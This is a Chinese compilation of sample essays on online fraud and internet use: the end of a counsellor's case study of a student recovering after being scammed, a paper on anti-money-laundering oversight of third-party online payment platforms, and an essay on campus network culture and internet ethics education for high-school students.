1.性格比较内向，很少主动与他人交流，也很少与同学融合成一个集体，对班级上的事情不关心；
2.自制能力比较差，玩游戏时间较长，几乎不去自习室，但不旷课；
3.课下很少去自主学习，课上表现一般，从不主动发言；
4.与他人沟通喜欢通过网络；
5.待人接物不够有礼貌，不注意别人的感受。 （三）及时联系家长，让家长给予更多关心和干预。事情发生后迅速同家长取得了联系，当天家住隔壁市的父母便一行五人驱车赶到了学校。阿华的母亲是一位十分善谈、善交际并且能力较强的女性，通过交谈了解到，她对阿华大学之前的各项事情管理相当严格，他是一个很乖的孩子。平日里尊重长辈和老师，有几个固定的好朋友，就是胆子比较小。在平时阿华很少接触游戏，更别说是大型网络游戏了。笔者向阿华的父母通报了阿华自入学以来的各种表现，并要求他们尽可能地多去关心、爱护他，给予阿华更多的鼓励支持，让他尽快从阴影中走出来。
（四）针对角色转变和网络游戏问题进行辅导。这样做的目的是尽快使阿华转变角色，适应大学生活，能够很好地融入集体生活中来。主要问题是他可以从中吸取教训，更正缺点，走出阴影。平日注意他的行为，经常打电话询问近况，并在晚间的时候去他宿舍查看他有没有在玩网络游戏。经常性的向他推荐一些好的书籍，让他在书籍中找寻方向。针对事后心理辅导，7天中每天笔者都会在QQ上给他留言一段话，或名人名言，或自己推心置腹的经验，鼓励他。同他谈话的内容大都围绕怎样合理利用时间，建议他将有限的时间投入到学习和社会实践中去，这样的生活才有意义和充实。
（五）发动助班、寝室室友、班主任、任课教师等共同进行帮助，笔者同其班主任联合制定了针对促使他上进的方案。
1.给阿华所在寝室舍友、助班师兄师姐，主要班干部通报他在受骗后的基本状况，说明他的特殊情况，希望大家能他适当的关爱。
2.将他的情况告知主要授课教师，多注意他上课的表现，并及时交流。
3.安排班级主要班干部，密切注意其心理与近期的学习和生活上的表现，尤其是室友注意他玩游戏的情况，并及时通报。
4.不定期的找他谈心、与他发短信、在网上给他留言，让他时刻感受到笔者对他的关注。
通过大家的共同努力，一个学期过后，他有了较为明显的变化：
1.网络游戏几乎不再去玩；
2.主动学习性增强，待人接物的礼貌性增长了，并与班级同学关系融洽；学习成绩明显提高，同学反映良好；
3.对同学和老师深怀感谢之心，对生活充满信心。
4.父母反映回家之后懂事了很多。 在所有老师、同学和家长的努力下，阿华逐渐走出了阴影，正信心满满的迎接未来的学习、工作和生活。
四、启示与思考
（一）永远对自己学生抱有希望，不轻言放弃一个学生。辅导学生的过程中，会发现学生这样或那样的缺点、错误，千万不能因此在心理给学生直接判定为“坏”。笔者一直认为，经过一段时间可以把一个孩子从“好”转变为“坏”，那么经过细心的教育，我们也必然可以再用同样或者更多时间将其从“坏”转变为“好”。教育公平的人文关怀也要求教师对学生要一视同仁，不然教育公平不但得不到彰显，还会破坏师生间的信任。
（二）针对有“问题”的同学，尽量能与家长沟通，双方共同努力，才会事半功倍。父母是孩子人生中的第一个老师，家庭对学生的影响也是一辈子的，所以重视家庭教育和家长教育显然十分重要。事实告诉我们，帮助学生改正缺点、错误的教育过程中是会反复的，这时跟家长达成共识，一方“唱红脸”，一方“唱黑脸”，两个方面通过不同方法同时“施压”，又不失温情、鼓励和关怀的因素，往往可以达到预期效果。
（三）对于新生来讲，促使其尽快转变角色，将大部分时间投入到有意义的学习生活和工作中去，是解决一些常见问题的根本方法。假使新生入学之后能很快进入角色，找到了自己想要学习的事物，想要锻炼的能力，充实了时间，就很难去关注其他与之背道而驰的东西。因此，新生入学教育这一环节相当重要。
参考文献：
[1]冯刚.高校辅导员职业能力全面提升与工作技能考核达标指导手册[M].北京：高等教育出版社，2014.
[2]冯刚.辅导员队伍专业化建设理论与务实[M].北京：中国人民大学出版社，2010.
对网络诈骗的意见和建议范文第7篇
关键词：网络支付；反洗钱；监管
中图分类号：TP393 文献标识码：A 文章编号：1009-3044（2014）34-8343-02
1 网络支付业务发展现状
自2011年5月中国人民银行首发第三方支付牌照，截至2013年7月，共发放7批、250张第三方支付牌照，其中网络支付①业务牌照企业共138家②。
据艾瑞咨询数据统计，2012年我第三方支付行业交易规模突破十万亿大关，达12.9万亿元。其中，线下收单市场占比最高，为68.8%；其次为互联网支付，占比28.3%；移动支付市场尚处于起步阶段，占比1.2%。互联网支付市场中，支付宝、财付通、银联网上支付、快钱、汇付天下、易宝支付、环迅支付7家企业市场份额占比98%；2012年在移动互联网③市场整体爆发的情况下，移动远程支付正快速进入高速成长期，占比达97.4%。
与此同时，第三方支付平台业务种类持续创新，从单纯的网购逐步融合提供多种支付结算工具，线上支付（网上支付）、O2O支付（条码收银、二维码扫描），移动支付（支付宝钱包AA收款、微信摇摇支付）等支付结算模式取得突破性发展。2013年，“支付+金融”成为亮眼的新模式，互联网企业不断向金融进军。此外，第三方支付机构跨境支付也已开闸，跨境支付成为支付宝、财付通、快钱等第三方企业新的发力点。
2 网络支付业务洗钱风险及案例
伴随着第三方支付平台的发展，平台交易的匿名性、隐蔽性以及信息的不完备性，也为非法转移、洗钱、套现、贿赂、诈骗、赌博以及逃税漏税等活动有了可乘之机。如，2013年，我省监测到多起与第三方支付机构网络支付业务相关涉嫌洗钱活动的案例：淮北罗某涉嫌或境外走私，涉及金额17，136，280元，其中通过某第三方支付平台交易资金2，196，000元；马鞍山姚某等涉嫌网络赌博或非法结算可疑交易，其中通过某第三方支付平台交易金额1，058，000元等等。由此可见，在积极鼓励第三方支付企业迅猛发展的同时，其可能引发的洗钱风险值得深度思考。
文献[4]已针对网络支付业务的洗钱风险进行了详细分析，如为资金的非法转移提供隐蔽的渠道，为信用卡套现提供便利的渠道，为非法资金注入金融体系提供潜在的渠道，为巨额沉淀资金的非法使用提供可能，该文不再赘述，而是从网络支付业务的反洗钱监管层面阐述其现状和存在的问题。
3 网络支付业务监管存在的问题
1） 支付机构重市场占有，反洗钱基础较差
支付机构普遍重市场占有、轻风险管控：反洗钱内控制度不健全或内控制度与业务操作规程不配套，造成反洗钱监管要求无法落实；提供网络支付服务时，简化识别与登记客户及商户有效身份，未采取有效措施核对身份信息；未建立同一客户多个支付账户间的关联，交易可追朔性较差；反洗钱数据报送工作更是处于起步阶段。根据中国反洗钱监测分析中心数据统计，截至2013年2月，仅有4家支付机构已开始正式报送可疑交易报告。可疑交易监测多以人工监测为主，而人工投入不足、无法覆盖全面业务使得可疑交易监测工作有效性严重不足。涉黄、涉毒、涉毒等违法分子利用网络支付平台从事非法活动，甚至为境外分子所觊觎，多次被公安部门通报。
2） 监管办法出台滞后，存量客户管理难度大
2010年人民银行2号令颁布，2011年《支付机构反洗钱和反恐怖融资管理办法》（简称《办法》）才相应出台，而第三方支付机构业务自2003年发展已趋于成熟，2011年互联网支付业务交易规模达到22038亿元，网上支付用户近2亿，其中匿名账户、假名账户普遍存在。虽然《办法》对客户实名制做了明确要求，但对存量客户实名制工作执行难度大，而第三方支付机构出于追逐利益的目的，并未对此类客户交易作出限制。因此，此类客户群体基本游离于反洗钱监管措施以外，风险隐患较大。
3） 网络支付业务模式，不利于监测可疑交易
目前支付机构的网络支付业务采用银行账户模式（付款人银行账户向收款人银行账户或支付账户转出）或支付账户模式（付款人支付账户向收款人银行账户或支付账户转出）。以银行账户模式为例，在该模式下，通过第三方支付平台从付款人账户至收款人账户的单笔交易在银行端被分割为付款人账户至第三方支付平台账户和第三方支付平台账户至收款人账户两笔交易。虽然《互联网支付业务管理办法》（征求意见稿）中规定互联网支付指令应包括付款人和收款人名称和银行账户等，但分割后的交易却无法看到真正的交易对手信息（收款人和付款人，而非第三方支付机构），而交易对手信息对于银行监测和分析可疑交易至关重要。因此，第三方支付机构在现有交易模式下的交易指令对于可疑交易资金监测造成了阻碍。
4） 支付机构属地监管，案件追朔难度大
根据《非金融机构支付服务管理办法》和《支付机构反洗钱和反恐怖融资管理办法》，第三方支付机构监管依据属地监管的原则，规定支付机构的分公司从事支付业务的，支付机构及其分公司应当分别到所在地中国人民银行分支机构备案。网络支付业务依托互联网或通信网络，属于全国性业务，区别于预付卡和银行卡收单，一般无需设立分公司。因此，除第三方支付机构法人所在地的人民银行分支机构，其他分支机构均无监管权限。而《中国人民银行反洗钱调查实施细则》（试行）也规定，中国人民银行负责涉及全国范围内或跨省的可疑交易活动，因此，一旦人民银行地市中心支行发现涉及第三方支付机构的可疑交易，只能通过层层的上报和审批方能开展调查，其时效性远远不能满足对网络支付交易监管和调查的要求。
5） 监管部门重业务指导，监管力度薄弱
支付机构自纳入反洗钱监管至今，人民银行对支付机构仍以政策辅导、业务指导为主，且规定反洗钱专项现场检查由反洗钱局统一组织，反洗钱专项检查应以支付机构反洗钱内控体系和客户身份识别为重点。其中，作为反洗钱三大基础义务核心的客户身份识别工作，人民银行并未对网络支付机构存量账户的客户身份识别工作未给出明确的整改限期。2012年，反洗钱局组织了对部分支付机构的反洗钱现场检查。人民银行各级分支机构已于2013年6月按照反洗钱局部署组织辖区支付机构对照反洗钱法规要求进行自查和整改，针对拒不自查、自查工作走过场、整改措施不到位的支付机构，应组织开展现场检查，并对违规机构依法进行处理，但截止目前，全国尚无人民银行分支机构组织开展检查并处罚的首例。
4 政策建议
1） 支付机构提高洗钱风险防范意识
支付机构应准确把握人民银行监管思路，提升风险防范的意识。应转变以往“无规则、无监管”的思路，不断强化风险意识重于市场意识，责任意识重于投机意识的发展思路。在开发新产品和服务时，应对其性质、风险进行自评估，并建立风险预防和监测的内控制度体系和具体措施。
2） 支付机构严格执行法律法规
支付机构严格执行《反洗钱法》、2号令、细分业务领域的管理办法和《支付机构反洗钱和反恐怖融资管理办法》，确保业务开展符合人民银行有关制度办法的规定。严把风险防范的首要环节，包括实名制要求、用户身份信息审核、用户申请资料保存等，采取技术手段强化用户身份认证，防止用户信息被冒用、盗用。以“客户为中心”对同一用户开立的所有支付账户进行关联、统一管理。特别要在梳理业务特点的基础上，完善风险监控模型和可疑交易监测指标体系，建立有效的可疑交易报告工作流程，确保可疑交易向反洗钱监测分析中心的报送。
3） 支付机构加强与银行业金融机构的配合协作
针对提供的支付结算服务，支付机构应加强与银行业金融机构的合作，充分利用银行业金融机构现有的客户身份识别成果，强化通过验证银行卡基础信息（卡号、有效期、手机号等），并发挥自身大数据的优势，通过客户交易明细、发（收）货地址、消费（交易）习惯、交易对手信息强化客户身份识别基础工作。此外，针对现行的业务模式，支付机构应加强与银行的协作，提供完整的交易双方账户和基本信息，便于追踪客户完整的资金交易过程。
4） 人民银行加强沟通和协作
鉴于网络支付业务的特征，人民银行系统在属地监管的基础上应加强沟通和协作：对于开展全国性业务的第三方支付机构应将相关企业的基本信息在申请支付业务许可时在人民银行系统内共享；对于在自查和现场检查中存在的突出问题应进行通报，以便人民银行分支机构及时开展风险提示和对风险进行防范和监测；对于区域内监测的可疑交易，应及时加强沟通和协调，缩短协查进程，提高协查效率；对于由反洗钱局统一组织的现场检查，应在系统内提高第三方支付机构检查方法和方案的培训和共享。
5） 人民银行强化对第三方支付机构监管力度
对第三方支付机构的创新业务应加强跟踪监测，尽快出台相应监管办法，明确监管责任；组织人民银行分支机构对第三方支付机构开展普查，对于未能按照人民银行要求建立反洗钱内控制度，履行反洗钱基础义务的支付机构应加强监管力度，通过约见谈话、现场检查等多种监管手段督促限期整改；对于存在高风险隐患且在限期内未落实整改的机构应暂停其业务开展。
注释：
① 依据2号令，网络支付是指依托公共网络或专用网络在收付款人之间转移货币资金的行为，包括货币汇兑、互联网支付、移动电话支付、固定电话支付、数字电视支付等。
② 其中互联网支付牌照85家，移动电话支付35家、固定电话支付13家、数字电视支付5家。
③ 移动互联网支付包括短信支付、移动互联网支付和近端支付，其中短信支付和移动互联网支付合称为移动远程支付。
参考文献：
[1] 《非金融机构支付服务管理办法》（中国人民银行2010年第2号令）[Z].
[2] 支付清算协会支付机构互联网支付业务风险防范指引[Z].
对网络诈骗的意见和建议范文第8篇
关键词：网络环境；校园管理
中图分类号：G47 文献标识码：A 文章编号：1673－8454(2012)06－0081－03
一、加强校园网络文化建设。优化校园文化氛围
只有优秀的文化才能孕育优秀的学校教育，网络文化作为人类智慧的产物，它的负面影响并不是天生的，而是人们在对它的具体运用和传播中产生的。正如汤因比所言：“一个文化因素，在它本土的社会体内本来是无害或是有利的，但是在它所闯进的另一社会体中，却很容易产生意外的、极大的破坏作用。”在网络文化步入校园的今天，我们更应该对它合理利用，扬避短。努力营造健康向上、富有朝气的校园网络文化。
1.充分发挥校园网络文化的思想教育功能，利用校园网络开展思想政治教育工作
校园网在建立之初就需要设置相当数量的优秀文化资料，这些资料可以是反映民族精神的，也可以是世界先进文化的精髓。用科学的理论占领校园网络文化阵地，坚持用优秀文化的精髓来引导、教育学生，自觉抵制网络文化的糟粕。
2.提高中学生对网络文化信息的判断力
只要你一连上互联网，海量信息就会扑面而来，如果没有一定的判断力，就有可能被大量的信息淹没。校园网络文化的建设可以在这方面作些尝试，如做一些专题类知识培训，在提高学生使用网络水平的同时，加强对信息的辩识能力，一方面对网络信息要有科学辨证的认识：另一方面对自身信息的需求要有良好的意识。只有这样，才能提高学生利用有效信息和抵御信息污染的能力。
3.物化校园网络文化内容，建立相应的管理制度
校园网络文化需要在具体的工作中得以体现：一是在校园网上设立新闻专题，向学生介绍国内外的重大时事以及他们关心的事物。二是设立专门的讨论区、聊天室，让学生发表自己的看法，并定期组织网上热点问题讨论，教师给予相应的点评，还可以对学生的留言进行评比，对优秀的作品给予奖励，努力营造健康向上的网络氛围。三是校、班主任、各任课教师都可以设置自己的专属区域，通过网络和学生平等交流，使学校教育更贴近学生日常生活的实际，形成富有时代特色的校园文化。四是开展丰富多彩的网络活动，如班级网页制作、个人网站、网络知识竞赛等活动，以提高学生综合运用网络知识的能力，引导他们正确认识和利用网络。此外要加强校园网的管理，引入相应的软件，建立校园网防火墙，并制定一系列的管理制度，通过引导、监控等手段规范学生的网络行为，及时发现问题并进行有针对性的教育，做到“防微杜渐”。
二、强化学生的网络道德教育
1.转变观念
随着网络技术的不断发展和广泛应用，学生接受知识的途径已多元化，因此我们要改变传统单一、枯燥的说教模式，转而发挥网络趣味化、形象化的优势。在对学生进行思想教育的同时，要注意同日常的生活、学习相结合，真正体现陶行知先生“生活即教育”的理念。
2.更新内容
在学校德育中，网络道德教育的内容既要继承和发扬中华传统文化，又要有网络社会的特殊要求。
一是树立网络安全意识。网络是一个开放、平等、虚拟的世界，它和我们平时所接触的现实世界有很多不同，加之网络的发展速度太快，我们的管理往往很难跟上，因此进行网络安全教育显得尤为重要。现在社会上经常出现关于网络诈骗、网友见面等的负面新闻，这对于还处在高中阶段的学生更值得警惕。《中青网安全规则》的第一条就是“在网上不要给出能确定身份的信息，包括家庭地址、学校名称、家庭电话号码、密码、父母身份、家庭经济状况等信息。如需要给出，一定要征询父母意见或好朋友的意见，没有他们的同意最好不要公布，如果公布要让父母或好朋友知道。”第二条是：“不要自己单独去与网上认识的朋友会面。如果认为非常有必要会面，则到公共场所，并且要父母或好朋友(年龄较大的朋友)陪同。”如果能做到这两点，很多这方面的悲剧是完全可以避免的。因而要引导学生正确对待网络上的人际关系，注重现实世界中的人际交往，将网络和现实社会结合起来，才能使生活更丰富多彩。
二是遵守网络道德规范，做到文明上网，在学校道德教育过程中，要结合网络的特殊性向学生宣传和学习有关文明上网的要求，例如《全国青少年网络文明公约》就是很好的教材，让学生不但自己自觉遵守，还要能影响身边的其他人。使我们的网络行为符合《中学生日常行为规范》的要求。
三是培养高尚的道德情操，发扬中华传统文化。随着网络文化的传播，我国的传统文化正经受着前所未有的挑战。网络上经常有一些恶搞、无厘头的信息影响着还未涉世的中学生，这对于中学生的教育也提出了挑战。如何抵制网上垃圾信息的侵袭，同时引导青少年继承和发扬中华传统的优秀文化成为目前学校教育的重要任务。一方面要继承中华传统文化精髓，帮助中学生形成追求真善美的道德观念，另一方面在实际学习生活中努力践行这一理念，培养高尚的情操。
3.形成机制
订好学校网络规范，加强网络道德的管理机制。首先，制定和完善校纪校规，加强中学生的日常管理与自律教育，可以建立由学生志愿者组成的小分队定期或不定期检查学生违规行为，并与期末考核相结合。其次。利用校园网资源，积极发挥校园网的引导作用，把学生的上网需求纳入到校园网的建设中进行直接规划与管理，引导学生认识到互联网除了能玩游戏、聊天外。还有很多其他用途。促使他们对互联网的其他方面产生兴趣，引导学生利用网络进行学习，逐渐培养成良好的用网习惯。最后，积极发挥学校班团活动课的功能，组织学生学习《全国青少年网络文明公约》，开展互联网知识竞赛、黑板报、专刊等形式的活动，形成正确的舆论导向，帮助他们建立正确的上网意识。
三、强化网络资源合理利用，加强校园网建设
现有的网络学习资源内容多、分布广、数量大、更新快，但是质量良莠不齐，因此给教师的教学和学生的拓展学习带来很大不便，基于这样的现状，我们考虑可以整合现有资源，建立适合学校发展和师生使用的校园网站，以便对网络学习资源的管理。
1.必须以先进的思想为指导
建立此类网站必须要用先进
的思想指导网站的建设，使校园网成为宣传正面、表扬先进的主阵地。可以在学校网站上链接一些新闻门户类、教育科技类等优秀站点，在网上营造积极正面的校园文化氛围，使校园网站成为弘扬学校主流文化的阵地、推动素质教育的平台、师生信息沟通的桥梁、获取各类正面信息的宝库。利用网络平台，可以开展以班级为单位的各种计算机操作、网页设计等比赛活动，让学生在网上真实地反映意见，帮助他们树立正确的人生观、世界观。
2.考虑学生需求
校园网建设的关键是要符合学生的兴趣，因此在建立之初不但要考虑它的政治性，还要考虑趣味性要符合不同年龄层次学生的需要，并能贴近学生的生活和思想实际，以给学生解决实际困难为宗旨，切忌死板、教条。只有这样才能吸引学生，达到预期的教育目的，否则所建的网站学生可能不愿意使用，那一切都作的是“无用功”。
3.可开设“校园网吧”
建立校园网站的目的是让教师和学生利用，因此有条件的学校可以开设“校园网吧”，让教师和学生共同管理。在固定的时间对学生开放，对学生上网实行实名制管理，这样可以对他们的上网时间和内容进行有效管理。另外还可以丰富校园网站的内容，如“名师在线辅导”、“校园QQ”等，让他们在有困惑的时候及时得到帮助，定期对上网的学生进行调查，向他们了解对“校园网吧”的建议，并根据学生的建议进行改进，并可增设新的内容。同时注意网站信息的更新和使用维护。在日常的学习生活中。定期请一些网络知识丰富的教师给学生开设知识讲座，进行网络知识和上网体验的互动。
互联网把世界连成了一个地球村，网上信息丰富多彩，浩如烟海，人类真正实现了全球资源共享。如何才能真正发挥网络造福人类的价值和作用，这是每个网民应该认真思考的问题。但愿我们的高中学生以学业为重，科学合理地使用网络，享受健康快乐的网络生活，积极向上，立志成才。最后以《全国青少年网络文明公约》共勉：
要善于网上学习 不浏览不良信息
要诚实友好交流 不侮辱欺诈他人
要增强自护意识 不随意约会网友